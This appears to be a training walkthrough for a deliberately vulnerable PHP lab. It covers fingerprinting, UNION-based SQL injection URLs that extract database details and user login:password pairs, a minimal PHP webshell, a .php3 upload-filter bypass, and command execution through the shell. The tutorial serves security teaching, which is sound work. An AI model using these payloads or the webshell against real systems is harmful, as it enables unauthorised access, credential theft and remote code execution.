Introduction

This course details the exploitation of SQL injection in a PHP based website and how an attacker can use it to gain access to the administration pages.

Then, using this access, the attacker will be able to gain code execution on the server.

The attack is divided into 3 steps:

1.Fingerprinting: to gather information on the web application and technologies in use.

2.Detection and exploitation of SQL injection: in this part, you will learn how SQL injections work and how to exploit them in order to retrieve information.

3.Access to the administration pages and code execution: the last step in which you will access the operating system and run commands.

1. Fingerprinting

1.1 Command: telnet [vulnerableIP] 80

1.2 Command: GET / HTTP/1.1

1.3 Detect directories using a directory Buster Command: wfuzz -c -z file,wordlist/general/big.txt --hc 404 http://vulnerableIP/FUZZ

2. Detection and exploitation of SQL injection

2.1 Retreiving information

You can for example access the following URL's to retrieve this information:

the database version: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,@@version,3,4

the current user: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,current_user(),3,4

the current database: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,database(),3,4

the list of tables:
1%20UNION%20SELECT%201,table_name,3,4%20FROM%20information_schema.tables

the list of columns:
1%20UNION%20SELECT%201,column_name,3,4%20FROM%20information_schema.columns

the list of users and passwords :
1%20UNION%20SELECT%201,concat(login,':',password),3,4%20FROM%20users;

3. Access the administration page

First we need to create a PHP script to run commands. Below is the source code of a simple and minimal webshell:

```
<?php
 system($_GET['cmd']);
?>
```

The application prevent file with an extension `.php` to be uploaded. We can however try:

- `.php3` which will bypass a simple filter on `.php`

you can now access the page at the following address and start running commands using the cmd parameter. For example, accessinghttp://vulnerable/admin/uploads/shell.php3?cmd=uname will run the command `uname` on the operating system and return the current kernel (`Linux`).

Conclusion

This exercise showed you how to manually detect and exploit SQL injection to gain access to the administration pages. Once in the "Trusted zone", more functionality is often available which may lead to more vulnerabilities.

The configuration of the web server provided is an ideal case since error messages are displayed and PHP protections are turned off. We will see in another exercise on how SQL injections can be exploited in harder conditions, but in the meantime you can play with the PHP configuration to harden the exercise. To do so you need to enable `magic_quotes_gpc` and disable `display_errors` in the PHP configuration (`/etc/php5/apache2/php.ini`) and restart the web server (`/etc/init.d/apache2 restart`)